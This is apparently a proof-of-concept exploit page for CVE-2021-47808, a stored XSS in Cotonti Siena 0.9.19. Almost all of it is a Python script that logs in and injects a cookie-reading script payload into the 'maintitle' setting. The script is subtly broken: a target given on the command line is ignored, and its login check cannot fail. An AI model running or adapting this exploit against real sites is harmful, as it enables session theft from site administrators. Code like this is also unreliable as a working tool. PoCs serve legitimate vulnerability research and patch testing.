CVE-2021-47808: Cotonti Siena 存储型XSS漏洞

import requests import sys # CVE-2021-47808 PoC - Stored XSS in Cotonti Siena maintitle parameter # Target: Cotonti Siena 0.9.19 target_url = "http://target.com/cotonti" admin_url = f"{target_url}/admin.php" login_url = f"{target_url}/admin.php?m=login" # Malicious JavaScript payload xss_payload = '<script>alert(document.cookie)</script>' def exploit_cve_2021_47808(): """Exploit stored XSS in Cotonti Siena maintitle parameter""" # Step 1: Login as low-privilege admin user session = requests.Session() login_data = { 'user': 'attacker_username', 'pass': 'attacker_password', 'loginsubmit': 'Login' } response = session.post(login_url, data=login_data) if 'admin' not in response.url: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Inject XSS payload in maintitle parameter config_data = { 'maintitle': xss_payload, 'save': 'Save' } response = session.post(admin_url, data=config_data) if xss_payload in response.text or 'success' in response.text.lower(): print("[+] XSS payload injected successfully") print(f"[*] Payload: {xss_payload}") print("[*] Wait for admin to visit the page to trigger XSS") return True else: print("[-] Failed to inject payload") return False if __name__ == "__main__": if len(sys.argv) > 1: target_url = sys.argv[1] exploit_cve_2021_47808()